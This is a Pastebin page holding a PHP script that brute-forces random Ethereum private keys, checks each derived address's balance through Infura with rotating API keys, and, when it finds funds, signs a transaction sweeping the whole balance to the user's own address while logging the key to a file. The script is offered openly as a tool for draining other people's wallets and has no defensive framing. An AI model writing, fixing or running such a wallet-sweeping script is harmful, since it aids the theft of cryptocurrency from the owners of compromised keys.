Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- require 'vendor/autoload.php';
- use kornrunner\Keccak;
- use Mdanter\Ecc\EccFactory;
- function printSmackdownMessage() {
- echo "
- ______ __ __ ______ ______ __ __ _______ ______ __ __ __ __ ______ ______
- / \/ \ / |/ \ / \/ | / / \ / \/ | _ / / \ / | / \ / \
- /$$$$$$ $$ \ /$$ /$$$$$$ /$$$$$$ $$ | /$$/$$$$$$$ /$$$$$$ $$ | / \ $$ $$ \ $$ | /$$$$$$ /$$$$$$ |
- $$ \__$$/$$$ \ /$$$ $$ |__$$ $$ | $$/$$ |/$$/ $$ | $$ $$ | $$ $$ |/$ \$$ $$$ \$$ | $$ | $$/$$ | $$/
- $$ \$$$$ /$$$$ $$ $$ $$ | $$ $$< $$ | $$ $$ | $$ $$ /$$$ $$ $$$$ $$ | $$ | $$ |
- $$$$$$ $$ $$ $$/$$ $$$$$$$$ $$ | __$$$$$ \ $$ | $$ $$ | $$ $$ $$/$$ $$ $$ $$ $$ | $$ | __$$ | __
- / \__$$ $$ |$$$/ $$ $$ | $$ $$ \__/ $$ |$$ \$$ |__$$ $$ \__$$ $$$$/ $$$$ $$ |$$$$ |__$$ \__/ $$ \__/ |
- $$ $$/$$ | $/ $$ $$ | $$ $$ $$/$$ | $$ $$ $$/$$ $$/$$$/ $$$ $$ | $$$ / $$ $$/$$ $$/
- $$$$$$/ $$/ $$/$$/ $$/ $$$$$$/ $$/ $$/$$$$$$$/ $$$$$$/ $$/ $$/$$/ $$/$$/ $$$$$$/ $$$$$$/
- ";
- }
- printSmackdownMessage();
- $destinationAddress = 'CHANGE WITH UR ETH ADDRESS';
- $listFile = "list.txt";
- if (!file_exists($listFile)) {
- die("File list.txt NOT FOUND!\n");
- }
- $apiKeys = file($listFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
- if (empty($apiKeys)) {
- die("File list.txt EMPTY DONT HAVE API.\n");
- }
- $currentApiKeyIndex = 0;
- function getRpcUrl() {
- global $apiKeys, $currentApiKeyIndex;
- return 'https://mainnet.infura.io/v3/' . $apiKeys[$currentApiKeyIndex];
- }
- function switchApiKey() {
- global $apiKeys, $currentApiKeyIndex;
- $currentApiKeyIndex = ($currentApiKeyIndex + 1) % count($apiKeys);
- echo "Switching to API key: " . $apiKeys[$currentApiKeyIndex] . "\n";
- }
- function rpcRequest($method, $params = []) {
- $maxRetries = 4;
- $retryCount = 0;
- while ($retryCount < $maxRetries) {
- $rpcUrl = getRpcUrl();
- $payload = json_encode([
- 'jsonrpc' => '2.0',
- 'method' => $method,
- 'params' => $params,
- 'id' => 1
- ]);
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $rpcUrl);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
- curl_setopt($ch, CURLOPT_HTTPHEADER, [
- 'Content-Type: application/json'
- ]);
- $response = curl_exec($ch);
- $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
- curl_close($ch);
- $result = json_decode($response, true);
- if ($httpCode === 200 && !isset($result['error'])) {
- return $result['result'];
- } else {
- echo "RPC request failed with API key: " . $apiKeys[$currentApiKeyIndex] . "\n";
- if (isset($result['error'])) {
- echo "Error: " . $result['error']['message'] . "\n";
- }
- switchApiKey();
- $retryCount++;
- }
- }
- throw new Exception("All API keys failed after $maxRetries retries.");
- }
- function generateEthPrivateKey() {
- return bin2hex(random_bytes(32));
- }
- function getEthAddressFromPrivateKey($privateKey) {
- $secp256k1 = EccFactory::getSecgCurves()->generator256k1();
- $privKey = $secp256k1->getPrivateKeyFrom(gmp_init($privateKey, 16));
- $pubKey = $privKey->getPublicKey();
- $x = str_pad(gmp_strval($pubKey->getPoint()->getX(), 16), 64, '0', STR_PAD_LEFT);
- $y = str_pad(gmp_strval($pubKey->getPoint()->getY(), 16), 64, '0', STR_PAD_LEFT);
- $publicKey = hex2bin($x . $y);
- $hash = Keccak::hash($publicKey, 256);
- return '0x' . substr($hash, -40);
- }
- function checkEthBalance($address) {
- try {
- $balanceHex = rpcRequest('eth_getBalance', [$address, 'latest']);
- return hexdec($balanceHex);
- } catch (Exception $e) {
- echo "Error fetching balance: " . $e->getMessage() . "\nRetrying...\n";
- return 0;
- }
- }
- function sendTransaction($privateKey, $to, $amountWei) {
- try {
- $nonce = hexdec(rpcRequest('eth_getTransactionCount', [getEthAddressFromPrivateKey($privateKey), 'latest']));
- $gasPrice = hexdec(rpcRequest('eth_gasPrice'));
- $transaction = [
- 'nonce' => '0x' . dechex($nonce),
- 'to' => $to,
- 'value' => '0x' . dechex($amountWei),
- 'gas' => '0x5208',
- 'gasPrice' => '0x' . dechex($gasPrice),
- 'chainId' => 1
- ];
- $tx = new \EthereumRawTx\Transaction($transaction);
- $signedTx = $tx->sign($privateKey);
- return rpcRequest('eth_sendRawTransaction', ['0x' . $signedTx]);
- } catch (Exception $e) {
- echo "Error sending transaction: " . $e->getMessage() . "\n";
- return null;
- }
- }
- $resultFile = fopen("resultvalid.txt", "a");
- $counter = 1;
- $maxIterations = 2000;
- while (true) {
- try {
- if ($counter > $maxIterations) {
- echo "Resetting process after $maxIterations iterations to free memory...\n";
- fclose($resultFile);
- gc_collect_cycles();
- $resultFile = fopen("resultvalid.txt", "a");
- $counter = 1;
- }
- $privateKey = generateEthPrivateKey();
- $address = getEthAddressFromPrivateKey($privateKey);
- $balance = checkEthBalance($address);
- echo "$counter. $privateKey\n";
- echo " Address : $address\n";
- echo " Balance : $balance wei\n";
- if ($balance > 0) {
- $txHash = sendTransaction($privateKey, $destinationAddress, $balance);
- fwrite($resultFile, "Private Key: $privateKey\n");
- fwrite($resultFile, "Address: $address\n");
- fwrite($resultFile, "Balance: $balance wei\n");
- fwrite($resultFile, "TxHash: $txHash\n");
- fwrite($resultFile, "====================\n");
- echo " Transaction sent: $txHash\n";
- }
- unset($privateKey, $address, $balance, $txHash);
- } catch (Exception $e) {
- echo "$counter. Error: " . $e->getMessage() . "\n";
- }
- $counter++;
- usleep(100000);
- }
- fclose($resultFile);
- ?>
Advertisement
Add Comment
Please, Sign In to add comment